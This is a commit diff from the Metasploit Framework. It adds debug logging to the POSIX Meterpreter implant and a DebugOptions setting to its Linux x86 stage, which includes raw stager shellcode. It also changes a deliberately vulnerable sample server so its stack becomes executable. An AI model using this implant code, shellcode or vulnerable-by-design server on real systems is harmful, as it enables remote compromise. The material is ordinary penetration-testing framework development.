Allow debugging to be enabled.

This will make it easier to hopefully track down bugs.

exploitme-posix.c - make complete stack executable. On some kernel versions, execstack doesn't do the trick.

git-svn-id: file:///home/svn/framework3/trunk@10485 4d416f70-5f16-0410-b530-b9f4589650da

documentation/samples/vulnapps/exploitme-posix/exploitme-posix.c

@@ -15,7 +15,7 @@
 
 #define LISTEN_PORT 4545
 
-int	main(void) {
+int	vuln(void) {
 	struct sockaddr_in a;
 	int s, mysock;
 	int yes, ret, pagesize;
@@ -91,3 +91,15 @@ int	main(void) {
 	}
 	
 }
+
+int main(void)
+{
+#ifdef SWITCH_STACK
+	unsigned char *m;
+	m = mmap(NULL, 1024 * 1024 * 2, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
+	m += (1024 * 1024 * 2) - 4;
+	__asm__("movl %0, %%esp; call vuln" : : "m" (m));
+#else
+	vuln();
+#endif
+}

external/source/meterpreter/source/common/common.c

@@ -2,20 +2,42 @@
 
 #ifndef _WIN32
 
+int debugging_enabled;
+
 /*
  * If we supply real_dprintf in the common.h, each .o file will have a private copy of that symbol.
  * This leads to bloat. Defining it here means that there will only be a single implementation of it.
  */ 
 
-void real_dprintf(char *format, ...)
+void real_dprintf(char *filename, int line, const char *function, char *format, ...)
 {
 	va_list args;
-	char buffer[1024];
+	char buffer[2048];
+	int size;
+	static int fd;
+
+	size = snprintf(buffer, sizeof(buffer), "[%s:%d (%s)] ", filename, line, function);
+
 	va_start(args, format);
-	vsnprintf(buffer, sizeof(buffer)-2, format, args);
+	vsnprintf(buffer + size, sizeof(buffer) - size, format, args);
 	strcat(buffer, "\n");
 	va_end(args);
-	write(2, buffer, strlen(buffer));
+
+	if(fd <= 0) {
+		char filename[128];
+		sprintf(filename, "/tmp/meterpreter.log.%d", getpid());
+		
+		fd = open(filename, O_RDWR|O_TRUNC|O_CREAT|O_SYNC, 0644);
+		
+		if(fd <= 0) return;
+	}
+
+	write(fd, buffer, strlen(buffer));
+}
+
+void enable_debugging()
+{
+	debugging_enabled = 1;
 }
 
 #endif

external/source/meterpreter/source/common/common.h

@@ -13,6 +13,7 @@
 #ifdef _UNIX
 #include "compat_types.h"
 
+#include <fcntl.h>
 
 #include <sys/select.h>
 #include <sys/endian.h>
@@ -40,8 +41,11 @@ struct ipv4_routing_table {
 
 int netlink_get_ipv4_routing_table(struct ipv4_routing_table **table);
 
-// only do debugging on unix side of things for now.
+extern int debugging_enabled;
-#define DEBUGTRACE 
+
+#define dprintf(...) if(debugging_enabled) { real_dprintf(__FILE__, __LINE__, __FUNCTION__, __VA_ARGS__); }
+
+void real_dprintf(char *filename, int line, const char *function, char *format, ...);
 
 #endif
 
@@ -62,6 +66,7 @@ int netlink_get_ipv4_routing_table(struct ipv4_routing_table **table);
 
 #include "zlib/zlib.h"
 
+#ifdef _WIN32
 
 //#define DEBUGTRACE
 
@@ -71,8 +76,6 @@ int netlink_get_ipv4_routing_table(struct ipv4_routing_table **table);
 #define dprintf(...) do{}while(0);
 #endif
 
-#ifdef _WIN32
-
 #define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
 #define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
 #define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
@@ -91,12 +94,6 @@ static void real_dprintf(char *format, ...) {
 	OutputDebugString(buffer);
 }
 
-#else
-
-void real_dprintf(char *format, ...);
-
 #endif
 
-	
-
 #endif

external/source/meterpreter/source/server/rtld/metsrv_rtld.c

@@ -51,6 +51,7 @@ static struct libs libs[] = {
 };
 
 #define LIBC_IDX 0
+#define LIBSUPPORT_IDX 4
 #define METSRV_IDX  5
 
 #include <pthread.h>
@@ -60,11 +61,13 @@ extern int (*pthread_mutex_unlock_fp)(pthread_mutex_t *mutex);
 
 int dlsocket(void *libc);
 
+#define OPT_DEBUG_ENABLE (1 << 0)
+
 /*
  * Map in libraries, and hand off execution to the meterpreter server
  */
 
-unsigned metsrv_rtld(int fd)
+unsigned metsrv_rtld(int fd, int options)
 {
 	int i;
 	int (*libc_init_common)();
@@ -105,6 +108,8 @@ unsigned metsrv_rtld(int fd)
 	}
 	
 	if(fstat(fd, &statbuf) == -1) {
+		options = OPT_DEBUG_ENABLE;
+
 		TRACE("[ supplied fd fails fstat() check, using dlsocket() ]\n");
 		fd = dlsocket(libs[LIBC_IDX].handle);
 		if(fd == -1) {
@@ -113,6 +118,18 @@ unsigned metsrv_rtld(int fd)
 		}
 	}
 
+	if(options & OPT_DEBUG_ENABLE) {
+		void (*enable_debugging)();
+
+		enable_debugging = dlsym(libs[LIBSUPPORT_IDX].handle, "enable_debugging");
+		if(! enable_debugging) {
+			TRACE("[ failed to find the enable_debugging function, exit()'ing ]\n");
+			exit(-1);
+		}
+
+		enable_debugging();
+	}
+
 	server_setup = dlsym(libs[METSRV_IDX].handle, "server_setup");
 	TRACE("[ metsrv server_setup is at %08x, calling ]\n", server_setup);
 	server_setup(fd);
@@ -355,7 +372,7 @@ void handle_crashes()
  * it will connect to the metasploit meterpreter server.
  */
 
-void _start(int fd)
+void _start(int fd, int options)
 {
 	alarm(0);			// clear out any pending alarms.
 
@@ -364,5 +381,5 @@ void _start(int fd)
 
 	handle_crashes();		// try to make debugging a little easier.
 
-	metsrv_rtld(fd);		
+	metsrv_rtld(fd, options);		
 }

external/source/meterpreter/source/server/rtld/rtldtest.c

@@ -15,9 +15,13 @@ int main(int argc, char **argv)
 {
 	int fd;
 	struct stat statbuf;
-
-
 	int (*fp)();
+	int options = 0;
+
+
+	if(argc == 2) {
+		options = atoi(argv[1]);
+	} 
 
 	fd = open("msflinker.bin", O_RDONLY);
 	if(fd == -1) {
@@ -39,6 +43,6 @@ int main(int argc, char **argv)
 
 	fp = (unsigned int)EP;
 	printf("entry point ahoy @ %08x!\n", fp); fflush(stdout);
-	fp(5);
+	fp(5, options);
 	printf("entry point retured\n");
 }

modules/payloads/stages/linux/x86/meterpreter.rb

@@ -29,7 +29,8 @@ module Metasploit3
 			'Session'       => Msf::Sessions::Meterpreter_x86_Linux))
 
 		register_options([
-			OptBool.new('PrependFork', [ false, "Add a fork() / exit_group() (for parent) code" ])
+			OptBool.new('PrependFork', [ false, "Add a fork() / exit_group() (for parent) code" ]),
+			OptInt.new('DebugOptions', [ false, "Debugging options for POSIX meterpreter", 0 ])
 		], self.class)
 	end
 
@@ -96,16 +97,21 @@ module Metasploit3
 			"\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" +
 			"\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" +
 			"\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" +
-			"\xc1\x29\xc2\x75\xea\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9\xd3\xff" +
+			"\xc1\x29\xc2\x75\xea\x6a\x59\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9" +
-			"\xff\xff"
+			"\xd1\xff\xff\xff"
 
-		# Patch entry point in properly.
+
-		# Patch in base ?
+		# Patch in debug options
+		midstager = midstager.sub("Y", [ datastore['DebugOptions'] ].pack('C'))
+
+		# Patch entry point 
 		midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V'))
 
+		# Maybe in the future patch in base.
+
 		print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
 		conn.put(midstager)
-		Rex::ThreadSafe.sleep(3)
+		Rex::ThreadSafe.sleep(1.5)
 
 		# Send length of payload
 		conn.put([ payload.length ].pack('V'))